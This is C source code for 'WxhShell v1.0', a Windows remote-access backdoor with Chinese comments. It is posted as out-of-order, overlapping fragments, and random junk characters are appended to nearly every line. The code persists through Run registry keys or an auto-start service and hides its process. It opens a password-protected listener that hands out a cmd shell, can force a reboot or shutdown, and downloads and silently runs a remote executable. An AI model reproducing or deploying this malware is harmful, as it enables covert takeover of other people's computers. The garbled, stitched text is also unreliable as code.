  case 'd': { NCXRevE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wKh4|Ka  
    if(Boot(SHUTDOWN)) E#RDqL*J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LG0;#3YwH  
    else { %jJG>T  
    closesocket(wsh); Xxj- 6i  
    ExitThread(0); lM`2sy  
    } #!B4 u?"m  
    break; S)(.,x  
    } c?Y*Y   
  // 获取shell m[osg< CR_  
  case 's': { U)TUOwF  
    CmdShell(wsh); `%bypHeSp  
    closesocket(wsh); 1NFsb-<u  
    ExitThread(0); e)IzQ7Zex  
    break; ux-/>enc  
  } *][`@@->  
  // 退出 yZ7&b&2nLn  
  case 'x': { 1dY}\Sp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W.jGGt\<\  
    CloseIt(wsh); wVXS%4|v  
    break; &A/]pi-\  
    } 8LJ8 }%*  
  // 离开 1UgEI"#a6g  
  case 'q': { G&SB-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T  wB}l  
    closesocket(wsh); of~4Q{f$6  
    WSACleanup(); 2>9C-VL2  
    exit(1); )CYGQMK  
    break; o#)C^xlQ  
        } jwe*(k]z  
  } }v;V=%N+v  
  } "9uKtQS0o  
B4/>H|  
  // 提示信息 Mexk~z A^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P{`C^W$J^  
} G5_=H,Vmd  
  } [^n.Pns  
@u+]aI!`-  
  return; ldcqe$7,  
} YDsb3X<0'  
]#<4vl\  
// shell模块句柄 PQt")[  
int CmdShell(SOCKET sock) uCvj!  
{  ~NgA  
STARTUPINFO si; Ty\R=y}}  
ZeroMemory(&si,sizeof(si)); :VBV&l` [  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `7Q<'oK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M^Yh|%M  
PROCESS_INFORMATION ProcessInfo; bP#:Oi0v`  
char cmdline[]="cmd"; A  'be8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "Y.tht H  
  return 0; 2|y"!JqE1  
} m 0C@G5  
\\ij(>CI  
// 自身启动模式 @7c?xQVd$  
int StartFromService(void) \7eUw,~Q>  
{ /<k/7TF`  
typedef struct N% B>M7-=  
{ Es`Px_k  
  DWORD ExitStatus; F<1fX7c  
  DWORD PebBaseAddress; nAato\mM  
  DWORD AffinityMask; G>=*yqo  
  DWORD BasePriority; //MUeTxR  
  ULONG UniqueProcessId; E~T-=ocKE  
  ULONG InheritedFromUniqueProcessId; ?81c 4w  
}   PROCESS_BASIC_INFORMATION; ]c*4J\s  
FUzzB94a  
PROCNTQSIP NtQueryInformationProcess; Jr4Ky<G_i  
P;no?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;1=1:S8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XJB)rP  
I,DS@SK  
  HANDLE             hProcess; uMv,zO5  
  PROCESS_BASIC_INFORMATION pbi; 8d{0rqwNE  
U>SShpmZA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T<>,lQs(a  
  if(NULL == hInst ) return 0; ,THw"bm  
nW:C/{n2tG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =%O6:YM   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MJ)RvNF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ">nxHU  
S@tLCqV4  
  if (!NtQueryInformationProcess) return 0; >6-`}G+|  
G4;Oi=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6_;icpN]  
  if(!hProcess) return 0; 4"ZP 'I;  
nFCC St$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /}Axf"OE  
V Q@   
  CloseHandle(hProcess);  /maJtX'  
 K5 z<3+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?z+eWL  
if(hProcess==NULL) return 0; 9=tIz  
~8+ Zs  
HMODULE hMod; e`s ~.ZF  
char procName[255]; **CR} yV  
unsigned long cbNeeded; 1&OW4_  
fOrH$?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8,%^ M9zBP  
Fo_sgv8O<  
  CloseHandle(hProcess); IOH}x4  
i]4I [!  
if(strstr(procName,"services")) return 1; // 以服务启动 T-L||yE,h  
X?',n 1  
  return 0; // 注册表启动 bJ%h53  
} eByz-,{P  
_VN?#J)o  
// 主模块 N+xP26D8  
int StartWxhshell(LPSTR lpCmdLine) "S]TP$O D  
{ G` A4|+W"  
  SOCKET wsl; Avc%2 +  
BOOL val=TRUE; p6@)-2^  
  int port=0; m(!FHPvN  
  struct sockaddr_in door; LRA8p<Rs  
<'*LRd$1  
  if(wscfg.ws_autoins) Install(); \b x$i*  
tWRC$  
port=atoi(lpCmdLine); 6{b >p+U  
pnOAs&QAm  
if(port<=0) port=wscfg.ws_port; T5h H  
cwg"c4V  
  WSADATA data; uXvtfc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QWYJ *  
.q>iXE_c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5b*C1HS@X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nf\LN$ &8  
  door.sin_family = AF_INET; rILYI;'o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fHFE){  
  door.sin_port = htons(port); O0.*Pmt  
7[)E>XRE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fJg+Ryo  
closesocket(wsl); <P_-s*b  
return 1; }K(TjZR  
} z{QqY.Gu{G  
B@ EC5Ap*  
  if(listen(wsl,2) == INVALID_SOCKET) { I?CZQ+}Hq  
closesocket(wsl); _[BP 0\dPW  
return 1; Le^ n +5x  
} ? r4>"[  
  Wxhshell(wsl); TWTb?HP  
  WSACleanup(); ~} ~4  
%cn<ych G  
return 0; z1a7*)8P  
R=?[Nz  
} [-w%/D%@  
%BODkc Zh  
// 以NT服务方式启动 * T1_;4i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HzJz+ x:  
{ |.dRily+  
DWORD   status = 0; 7yQ4*UB  
  DWORD   specificError = 0xfffffff; zt%Mx>V@  
0g;|y4SN=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xIn:ZKJ'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !)$Zp\Sg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  !VpoZ  
  serviceStatus.dwWin32ExitCode     = 0; [Rb+q=z#  
  serviceStatus.dwServiceSpecificExitCode = 0; vDvFL<`vmD  
  serviceStatus.dwCheckPoint       = 0; +7}]E1Uf  
  serviceStatus.dwWaitHint       = 0; 2an f$^[  
;*J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7HWmCaa[  
  if (hServiceStatusHandle==0) return; pR_9NfV{  
wIgS3K  
status = GetLastError(); lhJ'bYI  
  if (status!=NO_ERROR) unxqkU/<Z  
{ q(w(Sd)#L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Dv6}bx(  
    serviceStatus.dwCheckPoint       = 0; x1a:u  
    serviceStatus.dwWaitHint       = 0; i/.6>4tE:  
    serviceStatus.dwWin32ExitCode     = status; ~#/  
    serviceStatus.dwServiceSpecificExitCode = specificError; naNghGQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HOi`$vX }N  
    return; gM]:Ma  
  } !x)R=Z/C  
$~kA B8z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TqQ[_RKg2  
  serviceStatus.dwCheckPoint       = 0; /{2,zW  
  serviceStatus.dwWaitHint       = 0; |y*c9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \7_y%HR  
} n"8Yv~v*2j  
3g B7g'U  
// 处理NT服务事件,比如:启动、停止 A}^mdw9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iDD$pd,e\  
{ dWW.Y*339  
switch(fdwControl) u@^LW<eD  
{ [><Tm \(:  
case SERVICE_CONTROL_STOP: l"]V6!-U  
  serviceStatus.dwWin32ExitCode = 0; eH,or,r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v^P O|Z  
  serviceStatus.dwCheckPoint   = 0; a.Vuu)+Quw  
  serviceStatus.dwWaitHint     = 0; }a/Cro.~4  
  { 1*7@BP5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1x^GWtRp  
  } 8k79&|  
  return; *ui</+  
case SERVICE_CONTROL_PAUSE: R-Sym8c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AwN!;t_0+N  
  break; /RF7j;  
case SERVICE_CONTROL_CONTINUE: }WV:erg`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N21smC}  
  break; E"0>yl)  
case SERVICE_CONTROL_INTERROGATE: QW"! (`K  
  break; WhDJ7{D  
}; {Ha57Wk8D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \v/[6&|X0s  
} g&.=2uP  
iQ{VY ^ 0  
// 标准应用程序主函数 r*Xuj=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @pxcpXCy  
{ @ |r{;'  
F!do~Z  
// 获取操作系统版本 svSVG:48  
OsIsNt=GetOsVer(); snJ129}A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1&2>LE/P  
E.f%H(b  
  // 从命令行安装 (w{j6).3Dj  
  if(strpbrk(lpCmdLine,"iI")) Install(); ])!*_  
<QvOs@i*  
  // 下载执行文件 A=4OWV?  
if(wscfg.ws_downexe) { *`U~?q}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U6VKMxSJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); UI#h&j5pW  
} u&NV,6Fj2[  
l^qI, M  
if(!OsIsNt) { BzzTGWq\  
// 如果时win9x,隐藏进程并且设置为注册表启动 .u:GjL'$  
HideProc(); #*}+J3/  
StartWxhshell(lpCmdLine); HV.t6@\};  
} ^s=8!=A(  
else 3u;oQ5<(v  
  if(StartFromService()) :r[`.`  
  // 以服务方式启动 rKn~qVls  
  StartServiceCtrlDispatcher(DispatchTable); ]! dTG  
else M{\I8oOg  
  // 普通方式启动 d@^ZSy>L2  
  StartWxhshell(lpCmdLine); '7/)Ot(  
$Y;RKe9  
return 0; yr6V3],Tp  
} aYeR{Y]  
U(Zq= M  
phK/   
TV:9bn?r)  
=========================================== ,bd_:  
u y+pP!<  
lk!@?  
92c HwWZ!  
@7u0v  
q| 7(  
" G B^Br6  
(BM47 D=v  
#include <stdio.h> 3 {V>S,O3]  
#include <string.h> i@q&5;%%  
#include <windows.h> xoL\us`A  
#include <winsock2.h> t7pFW^&  
#include <winsvc.h> 0"R|..l/  
#include <urlmon.h> ni<(K 0~  
zqku e%^?-  
#pragma comment (lib, "Ws2_32.lib") Zfw,7am/  
#pragma comment (lib, "urlmon.lib") vI?, 47Hj+  
@CoIaUVP  
#define MAX_USER   100 // 最大客户端连接数 V+\Wb[zDJ  
#define BUF_SOCK   200 // sock buffer TvM~y\s  
#define KEY_BUFF   255 // 输入 buffer "tZe>>I  
m'U0'}Ld};  
#define REBOOT     0   // 重启 +t.b` U`-  
#define SHUTDOWN   1   // 关机 AX INThJ  
cK@wsA^4  
#define DEF_PORT   5000 // 监听端口 /1 dT+>  
xk5 ]^yDp  
#define REG_LEN     16   // 注册表键长度 +3gp%`c4  
#define SVC_LEN     80   // NT服务名长度 ^q&x7Kv%  
Y2TtY;  
// 从dll定义API !Cs_F&l"j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X2_=agEP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5-V pJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l{9Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \['Cj*ek  
VTM/hJmwJ  
// wxhshell配置信息 +q4O D$}  
struct WSCFG { aXVFc5C\  
  int ws_port;         // 监听端口 1 zZlC#V  
  char ws_passstr[REG_LEN]; // 口令 =]t|];c%  
  int ws_autoins;       // 安装标记, 1=yes 0=no e.C)jv6qr  
  char ws_regname[REG_LEN]; // 注册表键名 (Z*!#}z`  
  char ws_svcname[REG_LEN]; // 服务名 #E?4E1bnB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s iaG'%@*r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ' QG?nu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u, ff>/1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <%d>v-=B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z;i:](  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7v kL1IA  
bOB \--:]  
}; .>S!ji  
r$1Qf}J3=  
// default Wxhshell configuration !VJoM,b8  
struct WSCFG wscfg={DEF_PORT, _-D{-Bu#  
    "xuhuanlingzhe", yfSmDPh  
    1, D- c4EV  
    "Wxhshell", ]lbuy7xj63  
    "Wxhshell", 8y L Y  
            "WxhShell Service", Z r8*et  
    "Wrsky Windows CmdShell Service", f 2.HF@  
    "Please Input Your Password: ", ^c<Ve'-  
  1, ]'}L 1r  
  "http://www.wrsky.com/wxhshell.exe",  Sf'CN8  
  "Wxhshell.exe" .]u /O`c]  
    }; fl(wV.Je|  
uYN`:b8  
// 消息定义模块 *T/']t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z~CjA%l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~a:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _U(  
char *msg_ws_ext="\n\rExit."; l-Z4Mq6*L  
char *msg_ws_end="\n\rQuit."; N['  .BN  
char *msg_ws_boot="\n\rReboot..."; wj,=$RX  
char *msg_ws_poff="\n\rShutdown..."; 3n _htgcv  
char *msg_ws_down="\n\rSave to ";  @5FQX  
Xhm c6?  
char *msg_ws_err="\n\rErr!"; *pq\MiD/  
char *msg_ws_ok="\n\rOK!"; \dVOwr  
%v|B *  
char ExeFile[MAX_PATH]; ";F'~}bDA  
int nUser = 0; aOp\91  
HANDLE handles[MAX_USER]; G[=c Ss,  
int OsIsNt; Dtk=[;"k2a  
S'" Df5  
SERVICE_STATUS       serviceStatus; C]6O!Pb0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vk suu@cch  
Da|z"I x  
// 函数声明 AH^/V}9H  
int Install(void); 80I#TA6C  
int Uninstall(void); ^c|/*u  
int DownloadFile(char *sURL, SOCKET wsh); kmW4:EA%  
int Boot(int flag); s<Ziegmw|g  
void HideProc(void); ;p//QJB9  
int GetOsVer(void); *w&e\i|7  
int Wxhshell(SOCKET wsl); ,bi^P>X  
void TalkWithClient(void *cs); ?4,T}@P  
int CmdShell(SOCKET sock); &yg|t5o  
int StartFromService(void); (=0.inZ  
int StartWxhshell(LPSTR lpCmdLine); h{Y",7] !  
h`q1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l#o ~W`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1M6D3d_  
<I?Zk80  
// 数据结构和表定义 qX%_uOw:%  
SERVICE_TABLE_ENTRY DispatchTable[] = )7F/O3Tq  
{ .*oU]N%K=  
{wscfg.ws_svcname, NTServiceMain}, ]^E?;1$f?  
{NULL, NULL} ye&;(30Oq  
}; G{}VPcrbC  
RZLq]8pM  
// 自我安装 o/E >f_k[  
int Install(void) M3\AY30L  
{ o-5TC  
  char svExeFile[MAX_PATH]; [,Gg^*umS  
  HKEY key; ,+k\p5P  
  strcpy(svExeFile,ExeFile); HPl<%%TI  
4(+PD&_J  
// 如果是win9x系统,修改注册表设为自启动 _6Sp QW  
if(!OsIsNt) { j#|ZP-=1_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4?kcv59  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oA 1yIp  
  RegCloseKey(key); e'~3oqSvR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1EK *g;H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r!v\"6:OM  
  RegCloseKey(key); z/-=%g >HA  
  return 0; ?<!|  
    } BPrt'Nc  
  } IGl9 g_18  
} KlEpzJ98  
else { 2y4bwi  
O.? JmE  
// 如果是NT以上系统,安装为系统服务 [agMfn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i-1op> Y  
if (schSCManager!=0) ("KF'fp&M2  
{ 4#D,?eA7  
  SC_HANDLE schService = CreateService x}4q {P5$  
  ( )0`C@um  
  schSCManager, E .h*g8bXe  
  wscfg.ws_svcname, F,kZU$  
  wscfg.ws_svcdisp, U{mYTN*:j$  
  SERVICE_ALL_ACCESS, KNl$3nX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >*bvw~y,  
  SERVICE_AUTO_START, l1I#QB@5n  
  SERVICE_ERROR_NORMAL, @7 }W=HB  
  svExeFile, }>\C{ClI  
  NULL, [),ige  
  NULL, h[ ZN+M  
  NULL, jXJyc'm7  
  NULL, u8^lB7!e/  
  NULL T{ "(\X$  
  ); 4+n\k  
  if (schService!=0) 42{~Lhxt  
  { qq?!LEZ  
  CloseServiceHandle(schService); \U0Q<ot/7  
  CloseServiceHandle(schSCManager); Jm@oDME_E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XW/o<[91  
  strcat(svExeFile,wscfg.ws_svcname); \V:^h [ad  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [[ZJ]^n,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4-w{BZuS  
  RegCloseKey(key); !-bB559Nv  
  return 0; iZ%yd-  
    } 6!o1XQr=Z  
  } Gj*9~*xm(  
  CloseServiceHandle(schSCManager); 7)m9"InDI  
} M|-)GvR$J  
} ,4 rPg]r@  
-Za/p@gM  
return 1; pAEx#ck  
} (H]AR8%W  
k)u[0}   
// 自我卸载 L];b< *d  
int Uninstall(void) '-6~tWC~7  
{ & kIFcd@  
  HKEY key; 1M-pr 8:6s  
9uY'E'm*  
if(!OsIsNt) { 9Flb|G%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DIvHvFss  
  RegDeleteValue(key,wscfg.ws_regname); a.'*G6~Qgw  
  RegCloseKey(key); )0MB9RMk1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0x7'^Z>-oe  
  RegDeleteValue(key,wscfg.ws_regname); dx]>(e@(t{  
  RegCloseKey(key); ^8tEach  
  return 0; R]dg_Da  
  } t) +310w  
} K,]=6 Rj  
} n%-0V>  
else { =;k|*Ny  
.hiSw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =sFTxd_"iQ  
if (schSCManager!=0) !wNO8;(  
{ <VcQ{F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d _ e WcI  
  if (schService!=0) iE{&*.q_}>  
  { @;kSx":b  
  if(DeleteService(schService)!=0) { BY*Q_Et  
  CloseServiceHandle(schService); !W0v >p  
  CloseServiceHandle(schSCManager); Al'3?  
  return 0; M2|is ~  
  } +V+a4lU14  
  CloseServiceHandle(schService); f)!Z~t &  
  } HDKbF/  
  CloseServiceHandle(schSCManager); 07)yG:q*x  
} }Lv;!  
} 23?rEhKe  
y]im Z4{/  
return 1; OZT.=^:A  
} {!`4iiF  
"j-CZ\]U|  
// 从指定url下载文件 p7Cs.2>M>S  
int DownloadFile(char *sURL, SOCKET wsh) nm+s{  
{ &{RDM~  
  HRESULT hr; kLY^!  
char seps[]= "/"; C>~TI,5a3  
char *token; K#xv u1U  
char *file; fV:83|eQ  
char myURL[MAX_PATH]; b\ PgVBf9  
char myFILE[MAX_PATH]; V:27)]q  
nie%eC&U  
strcpy(myURL,sURL); ExM,g'7  
  token=strtok(myURL,seps); fatf*}eln  
  while(token!=NULL) `kr?j:g  
  { a> )f=uS  
    file=token; i&k7-<  
  token=strtok(NULL,seps); to\N i~a&  
  } .KC ++\{HE  
V,9cl,z+  
GetCurrentDirectory(MAX_PATH,myFILE); !wp3!bLp  
strcat(myFILE, "\\"); 8] ikygt"  
strcat(myFILE, file); 0ksa  
  send(wsh,myFILE,strlen(myFILE),0); <| &Npd'  
send(wsh,"...",3,0); _FEF x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SzRmF1<  
  if(hr==S_OK) 875od  
return 0; 1sCR4L:+  
else Il.K"ll  
return 1; Gc!x|V;T  
_~pbqa,  
} " Jr-J#gg  
}`"6aM   
// 系统电源模块 Jo}eeJ;k  
int Boot(int flag) x`?3C"N:<  
{ d %#b:(,  
  HANDLE hToken; p:%loDk  
  TOKEN_PRIVILEGES tkp; 8Eq7Sa  
s{" 2L{,$  
  if(OsIsNt) { z ]Ue|%K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \;-|-8Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :ivf/x n  
    tkp.PrivilegeCount = 1; tl].r|yl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z8oK2Dw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 03(4 x'z  
if(flag==REBOOT) { N [yy M'C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dxxm="FQZ  
  return 0; D0q ":WvE  
} 4aY|TN/|  
else { l+R+&b^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XrPfotj1  
  return 0; T#)P`q  
} 3Y~>qGQwh  
  } iIogx8[  
  else { HKr Mim-  
if(flag==REBOOT) { @R  6@]Dm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lxk[;j+  
  return 0; e$pV%5=  
} Yrn)VV[)h  
else { +U.I( 83F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J'2X&2  
  return 0; ,iq4Iw  
} d:{O\   
} ujucZ9}yd  
"}JZU!?  
return 1; VYhbx 'e  
} !3v1bGk  
)tpL#J  
// win9x进程隐藏模块 A={UL  
void HideProc(void) ~WN:DXn  
{ d'I"jZ  
r)6M!_]AW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h65-s  
  if ( hKernel != NULL ) LraWcO\or'  
  { I0 RvnMw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -o.:P>/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S@ f9c  
    FreeLibrary(hKernel); 0P(!j_2m  
  } Yir [!{  
W8!Qv8rf  
return; y#$CMf -q^  
} zkdetrR  
8'r[te4,  
// 获取操作系统版本 zNuJjL  
int GetOsVer(void) =6#Eh=7N  
{ F.v{-8GV  
  OSVERSIONINFO winfo;  =4!e&o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N{~Y J$!8  
  GetVersionEx(&winfo); UEVG0qF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .K<Q&  
  return 1; wg]LVW}  
  else I15{)o(8$  
  return 0; B !=F2  
} -\n@%$M]G  
M {Q;:  
// 客户端句柄模块 u4|$bbig  
int Wxhshell(SOCKET wsl) 19KQlMO.G  
{ AZ}Xj>=  
  SOCKET wsh; %-e 82J1  
  struct sockaddr_in client; r{%qf;  
  DWORD myID; M+9gL3W  
(DP &B%Sf  
  while(nUser<MAX_USER) KFkoS0M5|  
{ w(TJ*::T  
  int nSize=sizeof(client); H1(Uw:V8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yq iq,=OvP  
  if(wsh==INVALID_SOCKET) return 1; *GN# r11d  
J{&H+rd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }k G9!sf  
if(handles[nUser]==0) m<qJcZk  
  closesocket(wsh); {3{"8-18  
else xLZG:^(I  
  nUser++; td3D=Y  
  } e2W".+B1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3J438M.ka  
a,#j =  
  return 0; 3fJc 9|  
} Z@@K[$  
x*&|0n.D  
// 关闭 socket A^EE32kbm  
void CloseIt(SOCKET wsh) 'W,jMju  
{ B\:%ufd ~  
closesocket(wsh); Jl9k``r*  
nUser--; ^J8lBLqe  
ExitThread(0); 4u47D$=  
} %(G* ,  
JNUt$h  
// 客户端请求句柄 xZF}D/S?Ov  
void TalkWithClient(void *cs) JyOo1E.  
{ W$ 2C47i  
n%s]30Xs  
  SOCKET wsh=(SOCKET)cs; &;sP_ h  
  char pwd[SVC_LEN]; X~,aNRy  
  char cmd[KEY_BUFF]; r7,t";?>  
char chr[1]; LRG6:&  
int i,j; Yv!a88+A8M  
EeRX+BM,  
  while (nUser < MAX_USER) { YgV817OV  
GMl;7?RA  
if(wscfg.ws_passstr) { .oUTqki  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z}ddqZ27G$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J 9iy  
  //ZeroMemory(pwd,KEY_BUFF); /& +tf*  
      i=0; vV e';|8v  
  while(i<SVC_LEN) { s^uS1  
p\ZNy\N^  
  // 设置超时 z(^]J`+\  
  fd_set FdRead; o,8TDg  
  struct timeval TimeOut; A_5P/ARmI  
  FD_ZERO(&FdRead); !XCm>]R  
  FD_SET(wsh,&FdRead); dl@%`E48w  
  TimeOut.tv_sec=8; 2M'[,Xe  
  TimeOut.tv_usec=0; &&:Y Vd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C-MjJ6D<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y)!5R3b  
doy`C)xI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M={V|H0  
  pwd=chr[0]; `Kr,>sEAM  
  if(chr[0]==0xd || chr[0]==0xa) { ~`\?"s:  
  pwd=0; MgrLSKLT  
  break; (/j/>9iro  
  } 4k_vdz  
  i++; C$D -Pt"+  
    } !F1N~6f  
,+xB$e  
  // 如果是非法用户,关闭 socket #[~pD:qqM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9"A`sGZ  
} k$J zH$  
&*G #H~\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pd;br8yE$@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Ujo/3,Ak  
fNt`?pW H  
while(1) { 3ojlB|Z  
^o1*a&~J@  
  ZeroMemory(cmd,KEY_BUFF); @jSYB+D  
kDN:ep{/  
      // 自动支持客户端 telnet标准   cm[&?  
  j=0; ZR]25Yy  
  while(j<KEY_BUFF) { $?<Z!*x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W!&'pg  
  cmd[j]=chr[0]; k+Czj  
  if(chr[0]==0xa || chr[0]==0xd) { D (m j7oB  
  cmd[j]=0; jWl)cC  
  break; DB:+E|vSD  
  } G]i/nB  
  j++; FUjl8b-|  
    } aV?@s4  
4?7W+/~<&  
  // 下载文件 dA0.v+Foz"  
  if(strstr(cmd,"http://")) { JB`\G=PiL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bMMh|F  
  if(DownloadFile(cmd,wsh)) $yYO_ZBiy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >>o dZL  
  else 5b[jRj6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); An"</;HU  
  } % !>I*H  
  else { pDcjwlA%  
ul2")HL];  
    switch(cmd[0]) { "zRoU$X  
